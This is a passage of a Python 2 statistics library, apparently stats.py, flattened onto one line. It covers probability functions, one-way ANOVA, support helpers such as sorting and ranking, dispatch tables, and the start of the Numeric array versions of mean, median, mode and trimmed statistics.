ans = t * math.exp(-z*z-1.26551223 + t*(1.00002368+t*(0.37409196+t*(0.09678418+t*(-0.18628806+t*(0.27886807+t*(-1.13520398+t*(1.48851587+t*(-0.82215223+t*0.17087277))))))))) if x >= 0: return ans else: return 2.0 - ans def lzprob(z): """ Returns the area under the normal curve 'to the left of' the given z value. Thus, for z<0, zprob(z) = 1-tail probability for z>0, 1.0-zprob(z) = 1-tail probability for any z, 2.0*(1.0-zprob(abs(z))) = 2-tail probability Adapted from z.c in Gary Perlman's |Stat. Usage: lzprob(z) """ Z_MAX = 6.0 # maximum meaningful z-value if z == 0.0: x = 0.0 else: y = 0.5 * math.fabs(z) if y >= (Z_MAX*0.5): x = 1.0 elif (y < 1.0): w = y*y x = ((((((((0.000124818987 * w -0.001075204047) * w +0.005198775019) * w -0.019198292004) * w +0.059054035642) * w -0.151968751364) * w +0.319152932694) * w -0.531923007300) * w +0.797884560593) * y * 2.0 else: y = y - 2.0 x = (((((((((((((-0.000045255659 * y +0.000152529290) * y -0.000019538132) * y -0.000676904986) * y +0.001390604284) * y -0.000794620820) * y -0.002034254874) * y +0.006549791214) * y -0.010557625006) * y +0.011630447319) * y -0.009279453341) * y +0.005353579108) * y -0.002141268741) * y +0.000535310849) * y +0.999936657524 if z > 0.0: prob = ((x+1.0)*0.5) else: prob = ((1.0-x)*0.5) return prob def lksprob(alam): """ Computes a Kolmolgorov-Smirnov t-test significance level. Adapted from Numerical Recipies. Usage: lksprob(alam) """ fac = 2.0 sum = 0.0 termbf = 0.0 a2 = -2.0*alam*alam for j in range(1,201): term = fac*math.exp(a2*j*j) sum = sum + term if math.fabs(term) <= (0.001*termbf) or math.fabs(term) < (1.0e-8*sum): return sum fac = -fac termbf = math.fabs(term) return 1.0 # Get here only if fails to converge; was 0.0!! def lfprob (dfnum, dfden, F): """ Returns the (1-tailed) significance level (p-value) of an F statistic given the degrees of freedom for the numerator (dfR-dfF) and the degrees of freedom for the denominator (dfF). Usage: lfprob(dfnum, dfden, F) where usually dfnum=dfbn, dfden=dfwn """ p = betai(0.5*dfden, 0.5*dfnum, dfden/float(dfden+dfnum*F)) return p def lbetacf(a,b,x): """ This function evaluates the continued fraction form of the incomplete Beta function, betai. (Adapted from: Numerical Recipies in C.) Usage: lbetacf(a,b,x) """ ITMAX = 200 EPS = 3.0e-7 bm = az = am = 1.0 qab = a+b qap = a+1.0 qam = a-1.0 bz = 1.0-qab*x/qap for i in range(ITMAX+1): em = float(i+1) tem = em + em d = em*(b-em)*x/((qam+tem)*(a+tem)) ap = az + d*am bp = bz+d*bm d = -(a+em)*(qab+em)*x/((qap+tem)*(a+tem)) app = ap+d*az bpp = bp+d*bz aold = az am = ap/bpp bm = bp/bpp az = app/bpp bz = 1.0 if (abs(az-aold)<(EPS*abs(az))): return az print 'a or b too big, or ITMAX too small in Betacf.' def lgammln(xx): """ Returns the gamma function of xx. Gamma(z) = Integral(0,infinity) of t^(z-1)exp(-t) dt. (Adapted from: Numerical Recipies in C.) Usage: lgammln(xx) """ coeff = [76.18009173, -86.50532033, 24.01409822, -1.231739516, 0.120858003e-2, -0.536382e-5] x = xx - 1.0 tmp = x + 5.5 tmp = tmp - (x+0.5)*math.log(tmp) ser = 1.0 for j in range(len(coeff)): x = x + 1 ser = ser + coeff[j]/x return -tmp + math.log(2.50662827465*ser) def lbetai(a,b,x): """ Returns the incomplete beta function: I-sub-x(a,b) = 1/B(a,b)*(Integral(0,x) of t^(a-1)(1-t)^(b-1) dt) where a,b>0 and B(a,b) = G(a)*G(b)/(G(a+b)) where G(a) is the gamma function of a. The continued fraction formulation is implemented here, using the betacf function. (Adapted from: Numerical Recipies in C.) Usage: lbetai(a,b,x) """ if (x<0.0 or x>1.0): raise ValueError, 'Bad x in lbetai' if (x==0.0 or x==1.0): bt = 0.0 else: bt = math.exp(gammln(a+b)-gammln(a)-gammln(b)+a*math.log(x)+b* math.log(1.0-x)) if (x<(a+1.0)/(a+b+2.0)): return bt*betacf(a,b,x)/float(a) else: return 1.0-bt*betacf(b,a,1.0-x)/float(b) #################################### ####### ANOVA CALCULATIONS ####### #################################### def lF_oneway(*lists): """ Performs a 1-way ANOVA, returning an F-value and probability given any number of groups. From Heiman, pp.394-7. Usage: F_oneway(*lists) where *lists is any number of lists, one per treatment group Returns: F value, one-tailed p-value """ a = len(lists) # ANOVA on 'a' groups, each in it's own list means = [0]*a vars = [0]*a ns = [0]*a alldata = [] tmp = map(N.array,lists) means = map(amean,tmp) vars = map(avar,tmp) ns = map(len,lists) for i in range(len(lists)): alldata = alldata + lists[i] alldata = N.array(alldata) bign = len(alldata) sstot = ass(alldata)-(asquare_of_sums(alldata)/float(bign)) ssbn = 0 for list in lists: ssbn = ssbn + asquare_of_sums(N.array(list))/float(len(list)) ssbn = ssbn - (asquare_of_sums(alldata)/float(bign)) sswn = sstot-ssbn dfbn = a-1 dfwn = bign - a msb = ssbn/float(dfbn) msw = sswn/float(dfwn) f = msb/msw prob = fprob(dfbn,dfwn,f) return f, prob def lF_value (ER,EF,dfnum,dfden): """ Returns an F-statistic given the following: ER = error associated with the null hypothesis (the Restricted model) EF = error associated with the alternate hypothesis (the Full model) dfR-dfF = degrees of freedom of the numerator dfF = degrees of freedom associated with the denominator/Full model Usage: lF_value(ER,EF,dfnum,dfden) """ return ((ER-EF)/float(dfnum) / (EF/float(dfden))) #################################### ######## SUPPORT FUNCTIONS ####### #################################### def writecc (listoflists,file,writetype='w',extra=2): """ Writes a list of lists to a file in columns, customized by the max size of items within the columns (max size of items in col, +2 characters) to specified file. File-overwrite is the default. Usage: writecc (listoflists,file,writetype='w',extra=2) Returns: None """ if type(listoflists[0]) not in [ListType,TupleType]: listoflists = [listoflists] outfile = open(file,writetype) rowstokill = [] list2print = copy.deepcopy(listoflists) for i in range(len(listoflists)): if listoflists[i] == ['\n'] or listoflists[i]=='\n' or listoflists[i]=='dashes': rowstokill = rowstokill + [i] rowstokill.reverse() for row in rowstokill: del list2print[row] maxsize = [0]*len(list2print[0]) for col in range(len(list2print[0])): items = pstat.colex(list2print,col) items = map(pstat.makestr,items) maxsize[col] = max(map(len,items)) + extra for row in listoflists: if row == ['\n'] or row == '\n': outfile.write('\n') elif row == ['dashes'] or row == 'dashes': dashes = [0]*len(maxsize) for j in range(len(maxsize)): dashes[j] = '-'*(maxsize[j]-2) outfile.write(pstat.lineincustcols(dashes,maxsize)) else: outfile.write(pstat.lineincustcols(row,maxsize)) outfile.write('\n') outfile.close() return None def lincr(l,cap): # to increment a list up to a max-list of 'cap' """ Simulate a counting system from an n-dimensional list. Usage: lincr(l,cap) l=list to increment, cap=max values for each list pos'n Returns: next set of values for list l, OR -1 (if overflow) """ l[0] = l[0] + 1 # e.g., [0,0,0] --> [2,4,3] (=cap) for i in range(len(l)): if l[i] > cap[i] and i < len(l)-1: # if carryover AND not done l[i] = 0 l[i+1] = l[i+1] + 1 elif l[i] > cap[i] and i == len(l)-1: # overflow past last column, must be finished l = -1 return l def lsum (inlist): """ Returns the sum of the items in the passed list. Usage: lsum(inlist) """ s = 0 for item in inlist: s = s + item return s def lcumsum (inlist): """ Returns a list consisting of the cumulative sum of the items in the passed list. Usage: lcumsum(inlist) """ newlist = copy.deepcopy(inlist) for i in range(1,len(newlist)): newlist[i] = newlist[i] + newlist[i-1] return newlist def lss(inlist): """ Squares each value in the passed list, adds up these squares and returns the result. Usage: lss(inlist) """ ss = 0 for item in inlist: ss = ss + item*item return ss def lsummult (list1,list2): """ Multiplies elements in list1 and list2, element by element, and returns the sum of all resulting multiplications. Must provide equal length lists. Usage: lsummult(list1,list2) """ if len(list1) <> len(list2): raise ValueError, "Lists not equal length in summult." s = 0 for item1,item2 in pstat.abut(list1,list2): s = s + item1*item2 return s def lsumdiffsquared(x,y): """ Takes pairwise differences of the values in lists x and y, squares these differences, and returns the sum of these squares. Usage: lsumdiffsquared(x,y) Returns: sum[(x[i]-y[i])**2] """ sds = 0 for i in range(len(x)): sds = sds + (x[i]-y[i])**2 return sds def lsquare_of_sums(inlist): """ Adds the values in the passed list, squares the sum, and returns the result. Usage: lsquare_of_sums(inlist) Returns: sum(inlist[i])**2 """ s = sum(inlist) return float(s)*s def lshellsort(inlist): """ Shellsort algorithm. Sorts a 1D-list. Usage: lshellsort(inlist) Returns: sorted-inlist, sorting-index-vector (for original list) """ n = len(inlist) svec = copy.deepcopy(inlist) ivec = range(n) gap = n/2 # integer division needed while gap >0: for i in range(gap,n): for j in range(i-gap,-1,-gap): while j>=0 and svec[j]>svec[j+gap]: temp = svec[j] svec[j] = svec[j+gap] svec[j+gap] = temp itemp = ivec[j] ivec[j] = ivec[j+gap] ivec[j+gap] = itemp gap = gap / 2 # integer division needed # svec is now sorted inlist, and ivec has the order svec[i] = vec[ivec[i]] return svec, ivec def lrankdata(inlist): """ Ranks the data in inlist, dealing with ties appropritely. Assumes a 1D inlist. Adapted from Gary Perlman's |Stat ranksort. Usage: lrankdata(inlist) Returns: a list of length equal to inlist, containing rank scores """ n = len(inlist) svec, ivec = shellsort(inlist) sumranks = 0 dupcount = 0 newlist = [0]*n for i in range(n): sumranks = sumranks + i dupcount = dupcount + 1 if i==n-1 or svec[i] <> svec[i+1]: averank = sumranks / float(dupcount) + 1 for j in range(i-dupcount+1,i+1): newlist[ivec[j]] = averank sumranks = 0 dupcount = 0 return newlist def outputpairedstats(fname,writemode,name1,n1,m1,se1,min1,max1,name2,n2,m2,se2,min2,max2,statname,stat,prob): """ Prints or write to a file stats for two groups, using the name, n, mean, sterr, min and max for each group, as well as the statistic name, its value, and the associated p-value. Usage: outputpairedstats(fname,writemode, name1,n1,mean1,stderr1,min1,max1, name2,n2,mean2,stderr2,min2,max2, statname,stat,prob) Returns: None """ suffix = '' # for *s after the p-value try: x = prob.shape prob = prob[0] except: pass if prob < 0.001: suffix = ' ***' elif prob < 0.01: suffix = ' **' elif prob < 0.05: suffix = ' *' title = [['Name','N','Mean','SD','Min','Max']] lofl = title+[[name1,n1,round(m1,3),round(math.sqrt(se1),3),min1,max1], [name2,n2,round(m2,3),round(math.sqrt(se2),3),min2,max2]] if type(fname)<>StringType or len(fname)==0: print print statname print pstat.printcc(lofl) print try: if stat.shape == (): stat = stat[0] if prob.shape == (): prob = prob[0] except: pass print 'Test statistic = ',round(stat,3),' p = ',round(prob,3),suffix print else: file = open(fname,writemode) file.write('\n'+statname+'\n\n') file.close() writecc(lofl,fname,'a') file = open(fname,'a') try: if stat.shape == (): stat = stat[0] if prob.shape == (): prob = prob[0] except: pass file.write(pstat.list2string(['\nTest statistic = ',round(stat,4),' p = ',round(prob,4),suffix,'\n\n'])) file.close() return None def lfindwithin (data): """ Returns an integer representing a binary vector, where 1=within- subject factor, 0=between. Input equals the entire data 2D list (i.e., column 0=random factor, column -1=measured values (those two are skipped). Note: input data is in |Stat format ... a list of lists ("2D list") with one row per measured value, first column=subject identifier, last column= score, one in-between column per factor (these columns contain level designations on each factor). See also stats.anova.__doc__. Usage: lfindwithin(data) data in |Stat format """ numfact = len(data[0])-1 withinvec = 0 for col in range(1,numfact): examplelevel = pstat.unique(pstat.colex(data,col))[0] rows = pstat.linexand(data,col,examplelevel) # get 1 level of this factor factsubjs = pstat.unique(pstat.colex(rows,0)) allsubjs = pstat.unique(pstat.colex(data,0)) if len(factsubjs) == len(allsubjs): # fewer Ss than scores on this factor? withinvec = withinvec + (1 << col) return withinvec ######################################################### ######################################################### ####### DISPATCH LISTS AND TUPLES TO ABOVE FCNS ######### ######################################################### ######################################################### ## CENTRAL TENDENCY: geometricmean = Dispatch ( (lgeometricmean, (ListType, TupleType)), ) harmonicmean = Dispatch ( (lharmonicmean, (ListType, TupleType)), ) mean = Dispatch ( (lmean, (ListType, TupleType)), ) median = Dispatch ( (lmedian, (ListType, TupleType)), ) medianscore = Dispatch ( (lmedianscore, (ListType, TupleType)), ) mode = Dispatch ( (lmode, (ListType, TupleType)), ) ## MOMENTS: moment = Dispatch ( (lmoment, (ListType, TupleType)), ) variation = Dispatch ( (lvariation, (ListType, TupleType)), ) skew = Dispatch ( (lskew, (ListType, TupleType)), ) kurtosis = Dispatch ( (lkurtosis, (ListType, TupleType)), ) describe = Dispatch ( (ldescribe, (ListType, TupleType)), ) ## FREQUENCY STATISTICS: itemfreq = Dispatch ( (litemfreq, (ListType, TupleType)), ) scoreatpercentile = Dispatch ( (lscoreatpercentile, (ListType, TupleType)), ) percentileofscore = Dispatch ( (lpercentileofscore, (ListType, TupleType)), ) histogram = Dispatch ( (lhistogram, (ListType, TupleType)), ) cumfreq = Dispatch ( (lcumfreq, (ListType, TupleType)), ) relfreq = Dispatch ( (lrelfreq, (ListType, TupleType)), ) ## VARIABILITY: obrientransform = Dispatch ( (lobrientransform, (ListType, TupleType)), ) samplevar = Dispatch ( (lsamplevar, (ListType, TupleType)), ) samplestdev = Dispatch ( (lsamplestdev, (ListType, TupleType)), ) var = Dispatch ( (lvar, (ListType, TupleType)), ) stdev = Dispatch ( (lstdev, (ListType, TupleType)), ) sterr = Dispatch ( (lsterr, (ListType, TupleType)), ) sem = Dispatch ( (lsem, (ListType, TupleType)), ) z = Dispatch ( (lz, (ListType, TupleType)), ) zs = Dispatch ( (lzs, (ListType, TupleType)), ) ## TRIMMING FCNS: trimboth = Dispatch ( (ltrimboth, (ListType, TupleType)), ) trim1 = Dispatch ( (ltrim1, (ListType, TupleType)), ) ## CORRELATION FCNS: paired = Dispatch ( (lpaired, (ListType, TupleType)), ) pearsonr = Dispatch ( (lpearsonr, (ListType, TupleType)), ) origin_pearsonr = Dispatch((lorigin_pearsonr,(ListType, TupleType)), ) spearmanr = Dispatch ( (lspearmanr, (ListType, TupleType)), ) pointbiserialr = Dispatch ( (lpointbiserialr, (ListType, TupleType)), ) kendalltau = Dispatch ( (lkendalltau, (ListType, TupleType)), ) linregress = Dispatch ( (llinregress, (ListType, TupleType)), ) ## INFERENTIAL STATS: ttest_1samp = Dispatch ( (lttest_1samp, (ListType, TupleType)), ) ttest_ind = Dispatch ( (lttest_ind, (ListType, TupleType)), ) ttest_rel = Dispatch ( (lttest_rel, (ListType, TupleType)), ) chisquare = Dispatch ( (lchisquare, (ListType, TupleType)), ) ks_2samp = Dispatch ( (lks_2samp, (ListType, TupleType)), ) mannwhitneyu = Dispatch ( (lmannwhitneyu, (ListType, TupleType)), ) ranksums = Dispatch ( (lranksums, (ListType, TupleType)), ) tiecorrect = Dispatch ( (ltiecorrect, (ListType, TupleType)), ) wilcoxont = Dispatch ( (lwilcoxont, (ListType, TupleType)), ) kruskalwallish = Dispatch ( (lkruskalwallish, (ListType, TupleType)), ) friedmanchisquare = Dispatch ( (lfriedmanchisquare, (ListType, TupleType)), ) ## PROBABILITY CALCS: chisqprob = Dispatch ( (lchisqprob, (IntType, FloatType)), ) zprob = Dispatch ( (lzprob, (IntType, FloatType)), ) ksprob = Dispatch ( (lksprob, (IntType, FloatType)), ) fprob = Dispatch ( (lfprob, (IntType, FloatType)), ) betacf = Dispatch ( (lbetacf, (IntType, FloatType)), ) betai = Dispatch ( (lbetai, (IntType, FloatType)), ) erfcc = Dispatch ( (lerfcc, (IntType, FloatType)), ) gammln = Dispatch ( (lgammln, (IntType, FloatType)), ) ## ANOVA FUNCTIONS: F_oneway = Dispatch ( (lF_oneway, (ListType, TupleType)), ) F_value = Dispatch ( (lF_value, (ListType, TupleType)), ) ## SUPPORT FUNCTIONS: incr = Dispatch ( (lincr, (ListType, TupleType)), ) sum = Dispatch ( (lsum, (ListType, TupleType)), ) cumsum = Dispatch ( (lcumsum, (ListType, TupleType)), ) ss = Dispatch ( (lss, (ListType, TupleType)), ) summult = Dispatch ( (lsummult, (ListType, TupleType)), ) square_of_sums = Dispatch ( (lsquare_of_sums, (ListType, TupleType)), ) sumdiffsquared = Dispatch ( (lsumdiffsquared, (ListType, TupleType)), ) shellsort = Dispatch ( (lshellsort, (ListType, TupleType)), ) rankdata = Dispatch ( (lrankdata, (ListType, TupleType)), ) findwithin = Dispatch ( (lfindwithin, (ListType, TupleType)), ) #============= THE ARRAY-VERSION OF THE STATS FUNCTIONS =============== #============= THE ARRAY-VERSION OF THE STATS FUNCTIONS =============== #============= THE ARRAY-VERSION OF THE STATS FUNCTIONS =============== #============= THE ARRAY-VERSION OF THE STATS FUNCTIONS =============== #============= THE ARRAY-VERSION OF THE STATS FUNCTIONS =============== #============= THE ARRAY-VERSION OF THE STATS FUNCTIONS =============== #============= THE ARRAY-VERSION OF THE STATS FUNCTIONS =============== #============= THE ARRAY-VERSION OF THE STATS FUNCTIONS =============== #============= THE ARRAY-VERSION OF THE STATS FUNCTIONS =============== #============= THE ARRAY-VERSION OF THE STATS FUNCTIONS =============== #============= THE ARRAY-VERSION OF THE STATS FUNCTIONS =============== #============= THE ARRAY-VERSION OF THE STATS FUNCTIONS =============== #============= THE ARRAY-VERSION OF THE STATS FUNCTIONS =============== #============= THE ARRAY-VERSION OF THE STATS FUNCTIONS =============== #============= THE ARRAY-VERSION OF THE STATS FUNCTIONS =============== #============= THE ARRAY-VERSION OF THE STATS FUNCTIONS =============== #============= THE ARRAY-VERSION OF THE STATS FUNCTIONS =============== #============= THE ARRAY-VERSION OF THE STATS FUNCTIONS =============== #============= THE ARRAY-VERSION OF THE STATS FUNCTIONS =============== try: # DEFINE THESE *ONLY* IF NUMERIC IS AVAILABLE import Numeric N = Numeric import LinearAlgebra LA = LinearAlgebra ##################################### ######## ACENTRAL TENDENCY ######## ##################################### def ageometricmean (inarray,dimension=None,keepdims=0): """ Calculates the geometric mean of the values in the passed array. That is: n-th root of (x1 * x2 * ... * xn). Defaults to ALL values in the passed array. Use dimension=None to flatten array first. REMEMBER: if dimension=0, it collapses over dimension 0 ('rows' in a 2D array) only, and if dimension is a sequence, it collapses over all specified dimensions. If keepdims is set to 1, the resulting array will have as many dimensions as inarray, with only 1 'level' per dim that was collapsed over. Usage: ageometricmean(inarray,dimension=None,keepdims=0) Returns: geometric mean computed over dim(s) listed in dimension """ inarray = N.array(inarray,N.Float) if dimension == None: inarray = N.ravel(inarray) size = len(inarray) mult = N.power(inarray,1.0/size) mult = N.multiply.reduce(mult) elif type(dimension) in [IntType,FloatType]: size = inarray.shape[dimension] mult = N.power(inarray,1.0/size) mult = N.multiply.reduce(mult,dimension) if keepdims == 1: shp = list(inarray.shape) shp[dimension] = 1 sum = N.reshape(sum,shp) else: # must be a SEQUENCE of dims to average over dims = list(dimension) dims.sort() dims.reverse() size = N.array(N.multiply.reduce(N.take(inarray.shape,dims)),N.Float) mult = N.power(inarray,1.0/size) for dim in dims: mult = N.multiply.reduce(mult,dim) if keepdims == 1: shp = list(inarray.shape) for dim in dims: shp[dim] = 1 mult = N.reshape(mult,shp) return mult def aharmonicmean (inarray,dimension=None,keepdims=0): """ Calculates the harmonic mean of the values in the passed array. That is: n / (1/x1 + 1/x2 + ... + 1/xn). Defaults to ALL values in the passed array. Use dimension=None to flatten array first. REMEMBER: if dimension=0, it collapses over dimension 0 ('rows' in a 2D array) only, and if dimension is a sequence, it collapses over all specified dimensions. If keepdims is set to 1, the resulting array will have as many dimensions as inarray, with only 1 'level' per dim that was collapsed over. Usage: aharmonicmean(inarray,dimension=None,keepdims=0) Returns: harmonic mean computed over dim(s) in dimension """ inarray = inarray.astype(N.Float) if dimension == None: inarray = N.ravel(inarray) size = len(inarray) s = N.add.reduce(1.0 / inarray) elif type(dimension) in [IntType,FloatType]: size = float(inarray.shape[dimension]) s = N.add.reduce(1.0/inarray, dimension) if keepdims == 1: shp = list(inarray.shape) shp[dimension] = 1 s = N.reshape(s,shp) else: # must be a SEQUENCE of dims to average over dims = list(dimension) dims.sort() nondims = [] for i in range(len(inarray.shape)): if i not in dims: nondims.append(i) tinarray = N.transpose(inarray,nondims+dims) # put keep-dims first idx = [0] *len(nondims) if idx == []: size = len(N.ravel(inarray)) s = asum(1.0 / inarray) if keepdims == 1: s = N.reshape([s],N.ones(len(inarray.shape))) else: idx[0] = -1 loopcap = N.array(tinarray.shape[0:len(nondims)]) -1 s = N.zeros(loopcap+1,N.Float) while incr(idx,loopcap) <> -1: s[idx] = asum(1.0/tinarray[idx]) size = N.multiply.reduce(N.take(inarray.shape,dims)) if keepdims == 1: shp = list(inarray.shape) for dim in dims: shp[dim] = 1 s = N.reshape(s,shp) return size / s def amean (inarray,dimension=None,keepdims=0): """ Calculates the arithmatic mean of the values in the passed array. That is: 1/n * (x1 + x2 + ... + xn). Defaults to ALL values in the passed array. Use dimension=None to flatten array first. REMEMBER: if dimension=0, it collapses over dimension 0 ('rows' in a 2D array) only, and if dimension is a sequence, it collapses over all specified dimensions. If keepdims is set to 1, the resulting array will have as many dimensions as inarray, with only 1 'level' per dim that was collapsed over. Usage: amean(inarray,dimension=None,keepdims=0) Returns: arithematic mean calculated over dim(s) in dimension """ if inarray.typecode() in ['l','s','b']: inarray = inarray.astype(N.Float) if dimension == None: inarray = N.ravel(inarray) sum = N.add.reduce(inarray) denom = float(len(inarray)) elif type(dimension) in [IntType,FloatType]: sum = asum(inarray,dimension) denom = float(inarray.shape[dimension]) if keepdims == 1: shp = list(inarray.shape) shp[dimension] = 1 sum = N.reshape(sum,shp) else: # must be a TUPLE of dims to average over dims = list(dimension) dims.sort() dims.reverse() sum = inarray *1.0 for dim in dims: sum = N.add.reduce(sum,dim) denom = N.array(N.multiply.reduce(N.take(inarray.shape,dims)),N.Float) if keepdims == 1: shp = list(inarray.shape) for dim in dims: shp[dim] = 1 sum = N.reshape(sum,shp) return sum/denom def amedian (inarray,numbins=1000): """ Calculates the COMPUTED median value of an array of numbers, given the number of bins to use for the histogram (more bins approaches finding the precise median value of the array; default number of bins = 1000). From G.W. Heiman's Basic Stats, or CRC Probability & Statistics. NOTE: THIS ROUTINE ALWAYS uses the entire passed array (flattens it first). Usage: amedian(inarray,numbins=1000) Returns: median calculated over ALL values in inarray """ inarray = N.ravel(inarray) (hist, smallest, binsize, extras) = ahistogram(inarray,numbins) cumhist = N.cumsum(hist) # make cumulative histogram otherbins = N.greater_equal(cumhist,len(inarray)/2.0) otherbins = list(otherbins) # list of 0/1s, 1s start at median bin cfbin = otherbins.index(1) # get 1st(!) index holding 50%ile score LRL = smallest + binsize*cfbin # get lower read limit of that bin cfbelow = N.add.reduce(hist[0:cfbin]) # cum. freq. below bin freq = hist[cfbin] # frequency IN the 50%ile bin median = LRL + ((len(inarray)/2.0-cfbelow)/float(freq))*binsize # MEDIAN return median def amedianscore (inarray,dimension=None): """ Returns the 'middle' score of the passed array. If there is an even number of scores, the mean of the 2 middle scores is returned. Can function with 1D arrays, or on the FIRST dimension of 2D arrays (i.e., dimension can be None, to pre-flatten the array, or else dimension must equal 0). Usage: amedianscore(inarray,dimension=None) Returns: 'middle' score of the array, or the mean of the 2 middle scores """ if dimension == None: inarray = N.ravel(inarray) dimension = 0 inarray = N.sort(inarray,dimension) if inarray.shape[dimension] % 2 == 0: # if even number of elements indx = inarray.shape[dimension]/2 # integer division correct median = N.asarray(inarray[indx]+inarray[indx-1]) / 2.0 else: indx = inarray.shape[dimension] / 2 # integer division correct median = N.take(inarray,[indx],dimension) if median.shape == (1,): median = median[0] return median def amode(a, dimension=None): """ Returns an array of the modal (most common) score in the passed array. If there is more than one such score, ONLY THE FIRST is returned. The bin-count for the modal values is also returned. Operates on whole array (dimension=None), or on a given dimension. Usage: amode(a, dimension=None) Returns: array of bin-counts for mode(s), array of corresponding modal values """ if dimension == None: a = N.ravel(a) dimension = 0 scores = pstat.aunique(N.ravel(a)) # get ALL unique values testshape = list(a.shape) testshape[dimension] = 1 oldmostfreq = N.zeros(testshape) oldcounts = N.zeros(testshape) for score in scores: template = N.equal(a,score) counts = asum(template,dimension,1) mostfrequent = N.where(N.greater(counts,oldcounts),score,oldmostfreq) oldcounts = N.where(N.greater(counts,oldcounts),counts,oldcounts) oldmostfreq = mostfrequent return oldcounts, mostfrequent def atmean(a,limits=None,inclusive=(1,1)): """ Returns the arithmetic mean of all values in an array, ignoring values strictly outside the sequence passed to 'limits'. Note: either limit in the sequence, or the value of limits itself, can be set to None. The inclusive list/tuple determines whether the lower and upper limiting bounds (respectively) are open/exclusive (0) or closed/inclusive (1). Usage: atmean(a,limits=None,inclusive=(1,1)) """ if a.typecode() in ['l','s','b']: a = a.astype(N.Float) if limits == None: return mean(a) assert type(limits) in [ListType,TupleType,N.ArrayType], "Wrong type for limits in atmean" if inclusive[0]: lowerfcn = N.greater_equal else: lowerfcn = N.greater if inclusive[1]: upperfcn = N.less_equal else: upperfcn = N.less if limits[0] > N.maximum.reduce(N.ravel(a)) or limits[1] < N.minimum.reduce(N.ravel(a)): raise ValueError, "No array values within given limits (atmean)." elif limits[0]==None and limits[1]<>None: mask = upperfcn(a,limits[1]) elif limits[0]<>None and limits[1]==None: mask = lowerfcn(a,limits[0]) elif limits[0]<>None and limits[1]<>None: mask = lowerfcn(a,limits[0])*upperfcn(a,limits[1]) s = float(N.add.reduce(N.ravel(a*mask))) n = float(N.add.reduce(N.ravel(mask))) return s/n def atvar(a,limits=None,inclusive=(1,1)): """ Returns the sample variance of values in an array, (i.e., using N-1), ignoring values strictly outside the sequence passed to 'limits'. Note: either limit in the sequence, or the value of limits itself, can be set to None. The inclusive list/tuple determines whether the lower and upper limiting bounds (respectively) are open/exclusive (0) or closed/inclusive (1). Usage: atvar(a,limits=None,inclusive=(1,1)) """ a = a.astype(N.Float) if limits == None or limits == [None,None]: term1 = N.add.reduce(N.ravel(a*a)) n = float(len(N.ravel(a))) - 1 term2 = N.add.reduce(N.ravel(a))**2 / n print term1, term2, n return (term1 - term2) / n assert type(limits) in [ListType,TupleType,N.ArrayType], "Wrong type for limits in atvar" if inclusive[0]: lowerfcn = N.greater_equal else: lowerfcn = N.greater if inclusive[1]: upperfcn = N.less_equal else: upperfcn = N.less if limits[0] > N.maximum.reduce(N.ravel(a)) or limits[1] < N.minimum.reduce(N.ravel(a)): raise ValueError, "No array values within given limits (atvar)." elif limits[0]==None and limits[1]<>None: mask = upperfcn(a,limits[1]) elif limits[0]<>None and limits[1]==None: mask = lowerfcn(a,limits[0]) elif limits[0]<>None and limits[1]<>None: mask = lowerfcn(a,limits[0])*upperfcn(a,limits[1]) term1 = N.add.reduce(N.ravel(a*a*mask)) n = float(N.add.reduce(N.ravel(mask))) - 1 term2 = N.add.reduce(N.ravel(a*mask))**2 / n print term1, term2, n return (term1 - term2) / n def atmin(a,lowerlimit=None,dimension=None,inclusive=1): """ Returns the minimum value of a, along dimension, including only values less than (or equal to, if inclusive=1) lowerlimit. If the limit is set to None, all values in the array are used. Usage: atmin(a,lowerlimit=None,dimension=None,inclusive=1) """ if inclusive: lowerfcn = N.greater else: lowerfcn = N.greater_equal if dimension == None: a = N.ravel(a) dimension = 0 if lowerlimit == None: lowerlimit = N.minimum.reduce(N.ravel(a))-11 biggest = N.maximum.reduce(N.ravel(a)) ta = N.where(lowerfcn(a,lowerlimit),a,biggest) return N.minimum.reduce(ta,dimension) def atmax(a,upperlimit,dimension=None,inclusive=1): """ Returns the maximum value of a, along dimension, including only values greater than (or equal to, if inclusive=1) upperlimit. If the limit is set to None, a limit larger than the max value in the array is used. Usage: atmax(a,upperlimit,dimension=None,inclusive=1) """ if inclusive: upperfcn = N.less else: upperfcn = N.less_equal if dimension == None: a = N.ravel(a) dimension = 0 if upperlimit == None: upperlimit = N.maximum.reduce(N.ravel(a))+1 smallest = N.minimum.reduce(N.ravel(a)) ta = N.where(upperfcn(a,upperlimit),a,smallest) return N.maximum.reduce(ta,dimension) def atstdev(a,limits=None,inclusive=(1,1)): """ Returns the standard deviation of all values in an array, ignoring values strictly outside the sequence passed to 'limits'. Note: either limit in the sequence, or the value of limits itself, can be set to None. The inclusive list/tuple determines whether the lower and upper limiting bounds (respectively) are open/exclusive (0) or closed/inclusive (1). Usage: atstdev(a,limits=None,inclusive=(1,1)) """ return N.sqrt(tvar(a,limits,inclusive)) def atsem(a,limits=None,inclusive=(1,1)): """ Returns the standard error of the mean for the values in an array, (i.e., using N for the denominator), ignoring values strictly outside the sequence passed to 'limits'. Note: either limit in the sequence, or the value of limits itself, can be set to None. The inclusive list/tuple determines whether the lower and upper limiting bounds (respectively) are open/exclusive (0) or closed/inclusive (1). Usage: atsem(a,limits=None,inclusive=(1,1)) """ sd = tstdev(a,limits,inclusive) if limits == None or limits == [None,None]: n = float(len(N.ravel(a))) assert type(limits) in [ListType,TupleType,N.ArrayType], "Wrong type for limits in atsem" if inclusive[0]: lowerfcn = N.greater_equal else: lowerfcn = N.greater if inclusive[1]: upperfcn = N.less_equal else: upperfcn = N.less if limits[0] > N.maximum.reduce(N.ravel(a)) or limits[1] < N.minimum.reduce(N.ravel(a)): raise ValueError, "No array values within given limits (atsem)." elif limits[0]==None and limits[1]<>None: mask = upperfcn(a,limits[1]) elif limits[0]<>None and limits[1]==None: mask = lowerfcn(a,limits[0]) elif limits[0]<>None and limits[1]<>None: mask = lowerfcn(a,limits[0])*upperfcn(a,limits[1]) term1 = N.add.reduce(N.ravel(a*a*mask)) n = float(N.add.reduce(N.ravel(mask))) return sd/math.sqrt(n) ##################################### ############ AMOMENTS ############# ##################################### def amoment(a,moment=1,dimension=None): """ Calculates the nth moment about the mean for a sample (defaults to the 1st moment). Generally used to calculate coefficients of skewness and kurtosis. Dimension can equal None (ravel array first), an integer (the dimension over which to operate), or a sequence (operate over multiple dimensions). Usage: amoment(a,moment=1,dimension=None) Returns: appropriate moment along given dimension """ if dimension == None: a = N.ravel(a) dimension = 0 if moment == 1: return 0.0 else: mn = amean(a,dimension,1) # 1=keepdims s = N.power((a-mn),moment) return amean(s,dimension) def avariation(a,dimension=None): """ Returns the coefficient of variation, as defined in CRC Standard 